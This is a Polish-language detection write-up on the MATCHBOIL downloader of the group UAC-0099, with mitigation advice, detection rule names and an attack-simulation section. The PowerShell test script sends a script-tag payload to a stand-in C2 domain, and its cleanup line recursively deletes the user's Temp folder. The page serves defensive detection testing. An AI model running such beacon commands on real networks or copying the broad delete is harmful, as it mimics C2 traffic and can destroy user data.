Kampania złośliwego oprogramowania MATCHBOIL wprowadza nowe techniki dla trwałych ataków
Detection stack
- AIDR
- Alert
- ETL
- Query
Podsumowanie
Grupa APT UAC-0099, powiązana z Rosją, znacznie rozwinęła swój downloader MATCHBOIL w języku C# w latach 2024-2026. Malware służy do pobierania, wdrażania i utrzymywania persystencji dla wtórnych ładunków takich jak backdoor MATCHWOK. Nowsze warianty mają silniejsze zaciemnianie za pomocą .NET Reactor, techniki unikania sandboxu i coraz bardziej zaawansowane metody komunikacji C2.
Śledztwo
Badacze ESET przeprowadzili chronologiczną analizę wariantów MATCHBOIL zidentyfikowanych za pomocą telemetrii i zgłoszeń VirusTotal. Śledztwo udokumentowało rozwój malware’u od podstawowego zaciemniania Unicode do zaawansowanej wirtualizacji kodu i opartego na GUI oszukiwania użytkowników. Badacze zdekompilowali również komponenty C# w celu zbadania zapytań WMI, logiki komunikacji HTTPS i technik persystencji.
Łagodzenie
Organizacje powinny monitorować podejrzane uruchamianie C# i nieoczekiwane zadania zaplanowane lub zmiany w rejestrze w katalogach profili użytkowników. Wykrywanie na endpointach powinno identyfikować nieautoryzowane zapytania WMI i nietypowy wychodzący ruch HTTPS do wcześniej niecharakterystycznych domen. Zespoły ds. bezpieczeństwa powinny również czuwać nad znanymi nazwami plików złośliwych i podejrzanymi argumentami wiersza poleceń, takimi jak -auto or -plans.
Reakcja
Gdy wykryta zostanie aktywność MATCHBOIL, izoluj dotknięte hosty, aby zapobiec dalszemu dostarczaniu ładunków i komunikacji C2. Przeprowadź kompleksowe śledztwo kryminalistyczne, aby określić początkowy wektor infekcji, który prawdopodobnie pochodzi z spearphishingu. Przeglądaj wpisy w kluczach Run rejestru i zadania zaplanowane w poszukiwaniu nieautoryzowanych wpisów i sprawdzaj systemy skompromitowane pod kątem wtórnych ładunków takich jak MATCHWOK.
Przepływ ataku
Nadal aktualizujemy tę część.
Detekcje
Możliwe punkty persystencji [ASEPs – Rejestr oprogramowania/NTUSER Hive] (za pomocą registry_event)
LOLBAS WScript / CScript (za pomocą process_creation)
Możliwa biblioteka Windows utworzona w nietypowym folderze (za pomocą file_event)
Podejrzane zadanie zaplanowane (za pomocą audytu)
IOCs (HashSha1) do wykrycia: ESET Research MATCHBOIL: Nowe sztuczki, te same złe zamiary
IOCs (SourceIP) do wykrycia: ESET Research MATCHBOIL: Nowe sztuczki, te same złe zamiary
IOCs (DestinationIP) do wykrycia: ESET Research MATCHBOIL: Nowe sztuczki, te same złe zamiary
UAC-0099 Zbieranie informacji o systemie WMI [Dziennik zdarzeń bezpieczeństwa Windows]
UAC-0099 Detekcja Komunikacji Command and Control MATCHBOIL [Połączenie sieciowe Windows]
Wykonanie symulacji
-
Narracja ataku i komendy: Przeciwnik stara się ustanowić kanał Command and Control (C2), aby otrzymywać instrukcje i pobierać dodatkowe moduły. Aby uniknąć prostego blokowania opartego na IP, atakujący używa domeny zarejestrowanej pod wspólną końcówką TLD (
.pro). Atakujący symuluje technikę „MATCHBOIL” wysyłając żądanie HTTPS, gdzie ładunek zawiera osadzony<script>blok, imitujący dostarczanie złośliwych instrukcji zakodowanych w formacie szesnastkowym podszywających się pod treść webową. Ma to na celu wywołanie zarówno warunku opartego na domenie, jak i opartego na ładunku w regule detekcji. -
Skrypt testu regresji:
# Symulacja komunikacji C2 MATCHBOIL # Skrypt wykonuje żądanie HTTPS do domeny .pro zawierającej znacznik skryptu w ładunku/ciało. $targetUrl = "https://test-matchboil-c2.pro/api/v1/update" $maliciousPayload = "<script>eval(hex_decode('414243'))</script>" try { Write-Host "[+] Próba komunikacji C2 do $targetUrl" -ForegroundColor Cyan Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream" } catch { Write-Host "[!] Żądanie zakończone (Oczekiwana awaria, jeśli domena nie istnieje, ale telemetria nadal powinna zostać przechwycona)" -ForegroundColor Yellow } -
Polecenia czyszczące:
# Brak trwałych zmian wprowadzonych przez skrypt. # Upewnij się tylko, że wszelkie lokalne pliki tymczasowe utworzone podczas testowania są usunięte. Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue